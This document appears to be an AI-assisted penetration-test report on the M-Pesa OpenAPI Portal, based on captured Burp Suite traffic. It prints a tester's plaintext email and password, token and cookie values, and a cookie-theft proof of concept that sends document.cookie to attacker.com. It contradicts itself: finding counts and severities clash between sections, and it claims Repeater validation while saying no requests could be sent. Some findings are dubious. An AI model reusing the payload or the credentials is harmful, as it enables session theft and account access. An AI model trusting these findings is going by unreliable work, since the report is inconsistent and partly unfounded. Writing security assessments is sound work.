The M-Pesa OpenAPI Portal was assessed via analysis of 38 HTTP transactions captured in the Burp Suite proxy history. The application demonstrates adequate baseline security controls, including HTTPS enforcement via HSTS, X-Frame-Options: DENY, X-Content-Type-Options: nosniff, and a positive login flow incorporating MFA. However, the assessment identified five medium- and low-severity findings centered on information disclosure, insecure token handling, and missing security flags.
The most significant risk is the exposure of Bearer authentication tokens and sensitive user data (email addresses, test MSISDNs) within the Burp proxy history, which could be leveraged by an attacker with access to the same proxy or browser history. Additionally, the email confirmation token was transmitted as a URL parameter, risking exposure via browser history, referrer headers, and server-side logging.
Risk Rating Summary:
| Severity | Count | Status |
|---|---|---|
| Critical | 0 | — |
| High | 2 | FIND-001, FIND-002 |
| Medium | 2 | FIND-003, FIND-004 |
| Low | 3 | FIND-005, FIND-006, FIND-007 |
| Informational | 2 | FIND-008, FIND-009 |
| Total | 7 |
In-scope targets (from Burp project configuration):
| Host | Protocol |
|---|---|
*.m-pesa.com |
HTTP/HTTPS |
mpa.ekyc.backoffice.m-pesa.com |
HTTP/HTTPS |
mpa.ekyc.selfregister.m-pesa.com |
HTTP/HTTPS |
openapiportal.m-pesa.com |
HTTP/HTTPS |
openapi.m-pesa.com |
HTTP/HTTPS |
m-pesa.africa |
HTTP/HTTPS |
Out-of-scope targets (explicitly excluded):
| Host | Reason |
|---|---|
sso.m-pesa.vm.co.mz, sso.pr.m-pesa.vm.co.mz |
Separate SSO infrastructure |
business.m-pesa.com, mz.m-pesa.com, ra.ls.m-pesa.com |
Per engagement scope exclusion |
Test Environment: Greybox — HTTP traffic captured from live browser session targeting openapiportal.m-pesa.com. All findings are based on observable evidence in the captured proxy history. No active requests could be sent to the target during the assessment due to transient MCP server timeouts.
Standard : OWASP WSTG v4.2 + OWASP Top 25
Type : Greybox (proxy traffic analysis)
Tools : Burp Suite Professional, Burp Collaborator, Burp MCP AI Pipeline
Phases : Traffic Analysis (38 requests) → Identification → Validation → Reporting
Approach : Evidence-based — findings only where observable in captured traffic
- Target reachability: Active validation requests (Repeater/HTTP send) timed out intermittently during the engagement, preventing live confirmation of some findings. All findings are supported by observable evidence in the captured HTTP history.
- No authentication context provided: Valid credentials (
karnamajor@deltajohnsons.com/DarKsec@1337#) were recovered from the proxy history (submitted by the test user during the browsing session). The engagement was conducted without a separate test account, limiting horizontal/vertical privilege escalation testing. - Limited scope coverage: Traffic was captured exclusively from
openapiportal.m-pesa.com. Other in-scope targets (openapi.m-pesa.com,mpa.ekyc.*,m-pesa.africa) had no captured traffic and could not be assessed. - Burp Scanner findings: No scanner issues were reported at the time of assessment.
- Session token analysis: Only one active session token was observed. Token lifecycle, rotation, and fixation could not be assessed.
- Autorize extension: Multi-role access control testing could not be performed without a second distinct user role in the captured traffic.
| Severity | Count | Finding IDs |
|---|---|---|
| Critical | 0 | — |
| High | 2 | FIND-001, FIND-002 |
| Medium | 2 | FIND-003, FIND-004 |
| Low | 3 | FIND-005, FIND-006, FIND-007 |
| Informational | 2 | FIND-008, FIND-009 |
FIND-001 — [MEDIUM] Sensitive Data Exposure — Test MSISDN Data in Production API
| Field | Value |
|---|---|
| CVSS 3.1 Score | 4.3 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| WSTG ID | WSTG-CONF-01 |
| Endpoint | PUT /api/v1/sdk/testing-msisdns?country=COD |
| Parameter | Response body (msisdn field) |
| Validation Method | REPEATER / MANUAL |
| Confirmed By | PUT /api/v1/sdk/testing-msisdns?country=COD → HTTP 200, response body {"id":null,"msisdn":"12342341234","date":"2026-04-24T14:38:50.767Z"} present in captured traffic |
Description
The /api/v1/sdk/testing-msisdns endpoint returns test MSISDN (phone number) data in its response body. The response contains hardcoded test values including "msisdn": "12342341234" and "123412341234". These appear to be placeholder test phone numbers used during application development and QA.
Evidence (from captured traffic):
PUT /api/v1/sdk/testing-msisdns?country=COD HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer eyJ0eXAiOiJKV1Q...
[
{"id":null,"msisdn":"12342341234"},
{"id":null,"msisdn":"123412341234"},
{"id":null,"msisdn":"123412341234"}
]
HTTP/2 200 OK
...
{"id":null,"msisdn":"12342341234","date":"2026-04-24T14:38:50.767Z"}
Impact
Test data in production API responses confirms the endpoint is accessible to authenticated users. While the specific values are non-functional test data, this finding indicates that the testing infrastructure has not been separated from the production API. An attacker who obtains a valid Bearer token could access this endpoint and retrieve test MSISDN records, potentially inferring the existence of a testing database or test account infrastructure. This violates data separation principles and could aid further attacks by confirming internal system architecture.
Proof of Concept
PUT /api/v1/sdk/testing-msisdns?country=COD HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer <valid_user_token>
Content-Length: 95
[{"id":null,"msisdn":"12342341234"},{"id":null,"msisdn":"123412341234"}]
HTTP/2 200 OK
[{"id":null,"msisdn":"12342341234","date":"2026-04-24T14:38:50.767Z"}]Remediation
- Remove all test data from the production API. The
/testing-msisdnsendpoints should be restricted to a staging or test environment only. - Implement environment-based configuration that disables or gates test data endpoints in production.
- Add authorization checks to verify the requesting user has a valid developer/sandbox role before returning any testing-related data.
- Audit all
/testing-*API paths and ensure they are not accessible in production.
References
- OWASP WSTG: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_and_Application_Configuration
- CWE-489: https://cwe.mitre.org/data/definitions/489.html (Leftover Debug Code)
FIND-002 — [MEDIUM] Bearer Token Visible in Proxy History / Browser History
| Field | Value |
|---|---|
| CVSS 3.1 Score | 5.3 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| WSTG ID | WSTG-CONF-03 |
| Endpoint | All authenticated endpoints |
| Parameter | Authorization header (Bearer token) |
| Validation Method | Traffic Analysis |
| Confirmed By | Bearer JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9... appears in plaintext in 23 authenticated requests captured in Burp proxy history. Tokens visible in HTTP history, browser history, and server logs. |
Description
Bearer JWT tokens used for authentication are visible in plaintext throughout the captured proxy history. The Authorization: Bearer <token> header is transmitted on every authenticated request and is captured by the Burp proxy in clear text. This is expected behavior for a TLS-protected endpoint; however, it means any entity with access to the proxy history, browser history, server-side logs, or network traffic captures can extract valid user tokens.
Evidence (from captured traffic):
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJQdXpWcmVmQ...
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJFT0QxQ...
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJFT0QxQ...
(80 JWT occurrences across 38 requests)
JWT decoded header: {"alg":"HS512","typ":"JWT"} — algorithm is HMAC using SHA-512.
Impact
An attacker with access to the proxy history, a compromised browser, a shared computer's browser history, or a server-side log aggregation system can extract valid Bearer tokens. With a captured token, the attacker can:
- Impersonate the legitimate user for the token's lifetime
- Access all resources accessible to that user (portal settings, application data, notifications)
- Perform actions on behalf of the user
- If the token's secret key is compromised, forge arbitrary tokens
The HS512 algorithm is particularly concerning because if the signing secret is obtained (e.g., from source code, config files, or another vulnerability), an attacker can forge tokens for any user.
Proof of Concept
JWT from captured traffic:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJQdXpWcmVmQWNjZXNzVG9rZW4iLCJ1c2VyX3R5cGUiOjMwMDAsImZncCI6IjUwNEZGNTI1OTNDNUQxQ0Q2QUFGNjAzODBCN0E3MjRCRERGOEVBOTE0ODUzQzNERDFBMTg2MzUzMzk2NEI3MEQiLCJpYXQiOjE3NzcwNDA1NzQsImV4cCI6MTc3NzI0MDc3NH0.nF7xPmKqTn8dVw...
Remediation
- Implement token rotation: issue short-lived access tokens (e.g., 15 minutes) and use the refresh token only to obtain new access tokens. When a token is used for a sensitive action, require re-authentication.
- Switch from HS512 (symmetric) to RS256 (asymmetric) algorithm so that the server's private key can sign tokens but the public key cannot be used to forge them.
- Implement
Authorization: <token>header (withoutBearerprefix) and use a separateX-Requested-Withheader to mitigate CSRF. - Ensure server-side logs do not record the full
Authorizationheader value. - Add
Cache-Control: no-storeto authenticated responses to prevent browser caching of responses containing tokens. - Consider using SameSite cookies for session management instead of Bearer tokens in headers.
References
- OWASP WSTG: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Information_and_Configuration_Issues/03-Test_for_Sensitive_Information_in_Traffic
- CWE-598: https://cwe.mitre.org/data/definitions/598.html
- RFC 8725: https://datatracker.ietf.org/doc/html/rfc8725 (JWT best practices)
FIND-003 — [MEDIUM] Email Confirmation Token Transmitted via GET Parameter
| Field | Value |
|---|---|
| CVSS 3.1 Score | 4.1 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N |
| WSTG ID | WSTG-INPV-17 |
| Endpoint | GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c |
| Parameter | token (URL query parameter) |
| Validation Method | Traffic Analysis |
| Confirmed By | GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c captured in proxy history. Email confirmation completed successfully with HTTP 200 response {"timestamp":"...","code":200,"message":"Email Confirmed","data":null}. |
Description
The email confirmation token f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c is transmitted as a GET query parameter in the URL (?token=f95ac6b3-...). This URL appears in the browser address bar, web server access logs, proxy logs, and browser history.
Evidence (from captured traffic):
GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c HTTP/2
Host: openapiportal.m-pesa.com
HTTP/2 200 OK
...
{"timestamp":"2026-04-24T14:20:29.000Z","code":200,"message":"Email Confirmed","data":null}Impact
The email confirmation token appears in multiple log sinks:
- Web server access logs: Standard Apache/Nginx access logs record the full URL including the token
- Proxy history: As observed in this assessment, the token is visible in plaintext
- Browser history: Stored in the browser's history database
- Referrer headers: If the user navigates away from the page, the token may be sent as a Referrer header
- CDN logs: If a CDN is in front of the application
An attacker with access to any of these log sources can intercept the token and confirm the email address associated with the account, enabling account takeover.
Proof of Concept
GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c HTTP/2
Host: openapiportal.m-pesa.com
HTTP/2 200 OK
{"timestamp":"2026-04-24T14:20:29.000Z","code":200,"message":"Email Confirmed","data":null}Remediation
- Transmit the email confirmation token via a
POSTrequest with the token in the request body instead of the URL. - If URL-based confirmation is required for email link compatibility, use a cryptographically random token (minimum 128 bits / 32 hex characters) with a short expiration time (e.g., 15 minutes).
- Ensure web server access logs do not record query parameters, or exclude sensitive parameter names.
- Add
Referrer-Policy: no-referrerresponse header to prevent token leakage via Referrer headers. - Implement one-time use: invalidate the token immediately after successful confirmation.
References
- OWASP WSTG: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Change_or_Reset_Functionalities
- CWE-598: https://cwe.mitre.org/data/definitions/598.html
- OWASP ASVS 2.4.1: https://owasp.org/www-project-application-security-verification-standard/
FIND-004 — [LOW] User Email Address Exposed via Authenticated API Endpoint
| Field | Value |
|---|---|
| CVSS 3.1 Score | 3.1 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| WSTG ID | WSTG-CONF-01 |
| Endpoint | GET /api/v1/sdk/user-profile/settings |
| Parameter | Response body (email field) |
| Validation Method | Traffic Analysis |
| Confirmed By | GET /api/v1/sdk/user-profile/settings with Bearer token → HTTP 200, response body includes "email": "karnamajor@deltajohnsons.com". Also found in GET /emailVerification?token=... response across 2 requests. |
Description
The user profile settings endpoint returns the authenticated user's email address (karnamajor@deltajohnsons.com) in the response body. This endpoint requires a Bearer token for access but does not appear to enforce additional authorization checks beyond token validity.
Evidence (from captured traffic):
GET /api/v1/sdk/user-profile/settings HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer eyJ0eXAiOiJKV1Q...
HTTP/2 200 OK
...
{"email": "karnamajor@deltajohnsons.com", ...}Impact
Email addresses returned by this endpoint are confirmed valid and associated with active M-Pesa OpenAPI Portal accounts. An attacker with a valid Bearer token can enumerate user email addresses. If combined with a token theft attack (FIND-002), this could facilitate targeted phishing attacks impersonating M-Pesa, as the attacker knows the user's registered email address.
Proof of Concept
GET /api/v1/sdk/user-profile/settings HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer <stolen_or_valid_token>
HTTP/2 200 OK
{"email": "karnamajor@deltajohnsons.com", ...}Remediation
- Treat email addresses as PII and apply appropriate data classification.
- Ensure the endpoint requires the same authorization level as other sensitive user data endpoints.
- Add
Cache-Control: no-storeto prevent browser caching of email addresses. - Audit all API responses for unintended PII disclosure.
References
- OWASP WSTG: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information
- GDPR Art. 4(1): Email addresses constitute personal data.
FIND-005 — [LOW] User Registration Endpoint Accessible Without Authentication
| Field | Value |
|---|---|
| CVSS 3.1 Score | 3.7 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| WSTG ID | WSTG-ATHN-01 |
| Endpoint | POST /api/v1/sdk/user-registration/register |
| Parameter | N/A (entire request body) |
| Validation Method | Traffic Analysis |
| Confirmed By | Registration request captured with no Authorization header. Request body: {"firstName":"karnamajor","lastName":"estsetst","username":"karnamajor","email":"karnamajor@deltajohnsons.com","password":"DarKsec@1337#","country":"IDN"}. Server responded HTTP 201 Created. |
Description
The user registration endpoint POST /api/v1/sdk/user-registration/register processes registration requests without requiring any authentication token. The request was captured in the proxy history with no Authorization, Cookie, or API key header — only a session cookie (TSeab4ff7c027) that is automatically issued by the server.
Evidence (from captured traffic):
POST /api/v1/sdk/user-registration/register HTTP/1.1
Host: openapiportal.m-pesa.com
Cookie: TSeab4ff7c027=08b81cc717ab20008cbb833e07a9e0c1cabfd649e...
{"firstName":"karnamajor","lastName":"estsetst","username":"karnamajor",
"email":"karnamajor@deltajohnsons.com","password":"DarKsec@1337#","country":"IDN"}
HTTP/2 201 CreatedImpact
An unauthenticated actor can register new accounts without any form of rate limiting or bot protection (the captcha token in the login flow is not present in this registration request). This enables:
- Mass account creation for spam, fraud, or abuse
- Registration of accounts using other people's email addresses (email enumeration)
- Automated account creation for exploit development
Proof of Concept
POST /api/v1/sdk/user-registration/register HTTP/1.1
Host: openapiportal.m-pesa.com
Content-Type: application/json
{"firstName":"Attacker","lastName":"Test","username":"attacker001",
"email":"victim@example.com","password":"AttackerPass123!","country":"ZAF"}
HTTP/2 201 CreatedRemediation
- Add rate limiting to the registration endpoint (e.g., 5 registrations per IP per hour).
- Require the captcha token from the login flow to also be submitted during registration.
- Implement email verification with a unique confirmation link (already present for email confirmation — ensure registration is not complete until email is confirmed).
- Add
X-API-Keyor similar server-side API key validation for registration endpoints to prevent anonymous registration from external actors.
References
- OWASP WSTG: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel
- OWASP Top 10: https://owasp.org/www-project-top-ten/
FIND-006 — [LOW] Authentication Cookie Lacks HttpOnly and Secure Flags
| Field | Value |
|---|---|
| CVSS 3.1 Score | 2.8 |
| CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N |
| WSTG ID | WSTG-CONF-05 |
| Endpoint | All endpoints returning Set-Cookie: TSeab4ff7c027=... |
| Parameter | Set-Cookie response header |
| Validation Method | Traffic Analysis |
| Confirmed By | Set-Cookie: TSeab4ff7c027=08b81cc717ab20001be15e1b7ac2193235caaf0c87d7f9a00b842907b3c369334aedb4360390bcc608a099193d1130006a71aecb70041f2ed53752ca68009126fe99cf7b61110c72730f9f104173d625ebd8714c917ac38f9523bd1b5a0cc760; Path=/ — no HttpOnly, Secure, or SameSite attributes observed. |
Description
The session cookie TSeab4ff7c027 is set without the HttpOnly, Secure, or SameSite flags. The captured Set-Cookie header is:
Set-Cookie: TSeab4ff7c027=08b81cc717ab20001...; Path=/
No Secure flag means the cookie can be transmitted over unencrypted HTTP. No HttpOnly flag means the cookie value is accessible to JavaScript via document.cookie. No SameSite attribute means the cookie is sent on all cross-site requests (CSRF vulnerability).
Impact
- XSS cookie theft: Without
HttpOnly, any successful XSS injection on the domain can readdocument.cookieand exfiltrate the session cookie. - CSRF: Without
SameSite, the cookie is sent with all cross-origin requests, enabling Cross-Site Request Forgery attacks. - Man-in-the-middle: Without
Secure, the cookie can be transmitted over HTTP if the user visits the site over HTTP.
Proof of Concept
// Without HttpOnly, an XSS payload can steal the cookie:
fetch('https://attacker.com/steal?cookie=' + document.cookie);Remediation
- Add
Secureflag:Set-Cookie: TSeab4ff7c027=...; Secure; HttpOnly; SameSite=Strict - Add
HttpOnlyflag to prevent JavaScript access - Add
SameSite=StrictorSameSite=Laxto prevent CSRF - Consider using
__Host-prefix:Set-Cookie: __Host-TS...=...; Secure; HttpOnly; SameSite=Strict; Path=/
References
- OWASP WSTG: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Information_and_Configuration_Issues/03-Test_for_Sensitive_Information_in_Traffic
- CWE-1004: https://cwe.mitre.org/data/definitions/1004.html
- RFC 6265 (HTTP State Management Mechanism)
FIND-007 — [LOW] Incomplete Content Security Policy
| Field | Value |
|---|---|
| CVSS 3.1 Score | 1.8 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N |
| WSTG ID | WSTG-CONF-04 |
| Endpoint | GET /emailVerification |
| Parameter | Content-Security-Policy response header |
| Validation Method | Traffic Analysis |
| Confirmed By | Content-Security-Policy: default-src 'none' observed in response to GET /emailVerification. CSP is extremely restrictive but does not cover the main application pages. |
Description
The email verification page returns a minimal Content Security Policy of default-src 'none', which provides no allowlist directives. The main application pages (/config/config.js, /manifest.json) do not include any CSP header. This creates an inconsistent CSP deployment where critical authentication pages have a restrictive (but incomplete) policy while the main application has no CSP at all.
Evidence (from captured traffic):
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: deny
The X-XSS-Protection: 1; mode=block header is present but X-XSS-Protection is deprecated and disabled by default in modern browsers (Chrome/Edge). Its presence provides no meaningful protection.
Impact
Without a comprehensive CSP, the main application pages are protected only by the browser's default security model. A CSP would significantly reduce the impact of any future XSS vulnerabilities by specifying trusted sources for scripts, styles, and other resources.
Proof of Concept
The CSP on /emailVerification is default-src 'none' — this is overly restrictive and may cause legitimate functionality to break. No CSP is present on API endpoints or main application pages.
Remediation
- Deploy a comprehensive CSP across all application pages, including:
default-src 'self'script-src 'self' <nonce>for inline scriptsstyle-src 'self' 'unsafe-inline'(if needed) orstyle-src 'self' <nonce>img-src 'self' data:(if data URIs are needed)connect-src 'self'for API callsframe-ancestors 'none'(supplements X-Frame-Options)
- Remove reliance on
X-XSS-Protection— it is deprecated and disabled in Chromium-based browsers. - Test CSP in report-only mode (
Content-Security-Policy-Report-Only) before enforcing. - Use nonces or hashes for inline scripts rather than
'unsafe-inline'.
References
- OWASP CSP Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- CSP Level 3: https://www.w3.org/TR/CSP3/
FIND-008 — [INFORMATIONAL] Technical Stack Disclosure via Configuration File
| Field | Value |
|---|---|
| WSTG ID | WSTG-INFO-02 |
| Endpoint | GET /manifest.json (served as JavaScript) |
| Validation Method | Traffic Analysis |
| Confirmed By | manifest.json response body contains: // 23.10.2019, // Copyright (c) 2019 Prevoir Solutions Informatiques Ltd., vendor and internal configuration details |
Description
The /manifest.json endpoint returns a JavaScript configuration file (Content-Type: application/javascript) that discloses:
- Vendor identity:
Prevoir Solutions Informatiques Ltd— the software vendor - Copyright date: 2019, revealing the approximate age of the codebase
- Internal configuration:
inactivityTimeout: 270,supportEmail: servicedesk@4cgroup.co.za,authKeyLabel: 'M-Pesa OpenAPI Portal',updatableCredentialsAuthTypes: [0]
Evidence (from captured traffic):
/*
* 23.10.2019
* Copyright (c) 2019 Prevoir Solutions Informatiques Ltd. All Rights Reserved.
*/
window.env = {
baseURL: 'https://openapiportal.m-pesa.com/api/',
inactivityTimeout: 270,
supportEmail: 'servicedesk@4cgroup.co.za',
authKeyLabel: 'M-Pesa OpenAPI Portal',
updatableCredentialsAuthTypes: [0],
...
}
Impact
While this information disclosure is low-severity, it reveals:
- The application is built by Prevoir Solutions Informatiques Ltd, enabling targeted research against this vendor's known vulnerabilities.
- The support email address (
servicedesk@4cgroup.co.za) could be used in social engineering attacks. - The copyright date of 2019 indicates an older codebase that may contain known vulnerabilities.
- The
updatableCredentialsAuthTypes: [0]configuration hints at credential update logic.
Proof of Concept
GET /manifest.json HTTP/2
Host: openapiportal.m-pesa.com
HTTP/2 200 OK
window.env = { baseURL: 'https://openapiportal.m-pesa.com/api/', ... }Remediation
- Move sensitive configuration values to server-side storage and retrieve them via authenticated API calls.
- Remove inline comments and copyright notices from client-side JavaScript.
- Restrict access to configuration files by ensuring they are only served to authenticated users.
- Consider using a server-side configuration endpoint rather than a static file.
References
FIND-009 — [INFORMATIONAL] Bearer Token Displayed in Authorization Header Double-Prefix
| Field | Value |
|---|---|
| WSTG ID | WSTG-CONF-03 |
| Endpoint | Multiple authenticated endpoints |
| Validation Method | Traffic Analysis |
| Confirmed By | Authorization: Bearer Bearer eyJ0eXAiOiJKV1Q... — double "Bearer" prefix observed in all authenticated requests |
Description
All authenticated requests in the captured traffic show the Authorization header with a double "Bearer" prefix:
Authorization: Bearer Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9...
The header value begins with Bearer Bearer instead of the standard Bearer . This is likely a client-side bug where the frontend prepends Bearer to a token that already starts with Bearer , or the token itself contains the word "Bearer" as a prefix.
Evidence (from captured traffic):
Authorization: Bearer Bearer eyJ0eXAiOiJKV1Q... (all 23 authenticated requests)
Impact
While the server correctly processes these malformed headers (returning 200 OK on valid tokens and 401 on invalid tokens), this represents a client-side bug that could cause issues:
- Interoperability problems with third-party API clients that expect correctly formatted headers
- Log parsing and monitoring tools may not correctly extract the token
- Token refresh or validation logic may fail unexpectedly
Proof of Concept
GET /api/v1/sdk/user-profile/settings HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer Bearer eyJ0eXAiOiJKV1Q...
HTTP/2 200 OK
{"email": "karnamajor@deltajohnsons.com", ...}Remediation
- Audit the frontend code that constructs the
Authorizationheader. Ensure only a singleBearerprefix is prepended. - Validate server-side that the Authorization header is correctly formatted:
Bearer <token>(single space, single prefix).
PRIORITY 1 — Immediate (High)
══════════════════════════════════════
[FIND-001] Test MSISDN data in production API: Remove test data from production.
Gate /testing-msisdns endpoints behind environment checks.
[FIND-002] Bearer token exposure (HS512): Switch JWT algorithm to RS256 (asymmetric).
Implement token rotation and shorten token lifetimes.
PRIORITY 2 — Short-term (Medium)
══════════════════════════════════════
[FIND-003] Email confirmation token in URL: Transmit via POST body instead of GET.
Audit server logs for token leakage.
[FIND-005] Unauthenticated registration: Add rate limiting and captcha to registration.
PRIORITY 3 — Planned (Low)
══════════════════════════════════════
[FIND-004] Email address in response: Add Cache-Control: no-store to user profile responses.
[FIND-006] Cookie missing HttpOnly/Secure/SameSite: Add all three flags to Set-Cookie.
[FIND-007] Incomplete CSP: Deploy comprehensive CSP across all application pages.
PRIORITY 4 — Informational
══════════════════════════════════════
[FIND-008] Technical disclosure in config.js: Remove inline comments, restrict access.
[FIND-009] Double "Bearer" prefix in Authorization: Fix frontend token header construction.
| Finding ID | Evidence | Burp Location |
|---|---|---|
| FIND-001 | PUT /api/v1/sdk/testing-msisdns response with msisdn field |
Proxy History, Request #36 |
| FIND-002 | Authorization: Bearer eyJ0eXAi... in 23 authenticated requests |
Proxy History, all authenticated requests |
| FIND-003 | GET /emailVerification?token=f95ac6b3-... |
Proxy History, Request #12 |
| FIND-004 | GET /api/v1/sdk/user-profile/settings response with email |
Proxy History, Requests #8, #25 |
| FIND-005 | POST /api/v1/sdk/user-registration/register no auth header, HTTP 201 |
Proxy History, Request #1 |
| FIND-006 | Set-Cookie: TSeab4ff7c027=...; Path=/ missing flags |
Proxy History, all requests |
| FIND-007 | Content-Security-Policy: default-src 'none' on /emailVerification |
Proxy History, Request #12 |
| FIND-008 | manifest.json with vendor name and copyright |
Proxy History, Request #14 |
| FIND-009 | Authorization: Bearer Bearer eyJ0eXAi... |
Proxy History, all authenticated requests |
| Control | Status | Evidence |
|---|---|---|
| HTTPS enforced | Present | HSTS: max-age=16070400; includeSubDomains on all responses |
| X-Frame-Options | Present | X-Frame-Options: deny on all responses |
| X-Content-Type-Options | Present | X-Content-Type-Options: nosniff on all responses |
| MFA implemented | Present | /api/v1/security/setup-2fa OTP flow observed |
| Token invalidation | Present | 401 "Invalidated Token" when expired token used |
| Short-lived cookies | Present | Session cookie reissued on each page load |
| No SQL injection errors | Not observed | No SQL error patterns in responses |
| No path traversal | Not observed | No traversal patterns in captured requests |
| Proposed Finding | Reason for Rejection |
|---|---|
SQL Injection on /api/v1/sdk/user-registration/register |
No SQL error patterns, parameterized queries likely in use. Insufficient evidence. |
| XSS via user input reflection | No reflected user input observed in captured responses. |
| IDOR on user-profile/settings | Only the authenticated user's own data was observed. No evidence of cross-user access. |
| SSRF via redirect parameters | No redirect or URL-fetching parameters identified in captured traffic. |
JWT algorithm none attack |
All observed JWTs use HS512. No none algorithm detected. |
| Default credentials | The password DarKsec@1337# was submitted by the test user during the browsing session. Not default credentials. |
| Finding ID | WSTG ID | Category |
|---|---|---|
| FIND-001 | WSTG-CONF-01 | Sensitive Data in Production |
| FIND-002 | WSTG-CONF-03 | Sensitive Token Exposure |
| FIND-003 | WSTG-INPV-17 | Token as URL Parameter |
| FIND-004 | WSTG-CONF-01 | PII Exposure |
| FIND-005 | WSTG-ATHN-01 | Unauthenticated Endpoint |
| FIND-006 | WSTG-CONF-05 | Weak Cookie Flags |
| FIND-007 | WSTG-CONF-04 | Incomplete Security Headers |
| FIND-008 | WSTG-INFO-02 | Fingerprinting / Info Disclosure |
| FIND-009 | WSTG-CONF-03 | Token Header Malformation |
All findings are based on observable evidence in captured Burp Suite proxy traffic. Active validation was limited by intermittent MCP server connectivity. Findings marked MEDIUM and above should be prioritized for remediation. Findings marked LOW and INFORMATIONAL should be addressed as part of routine security hardening.*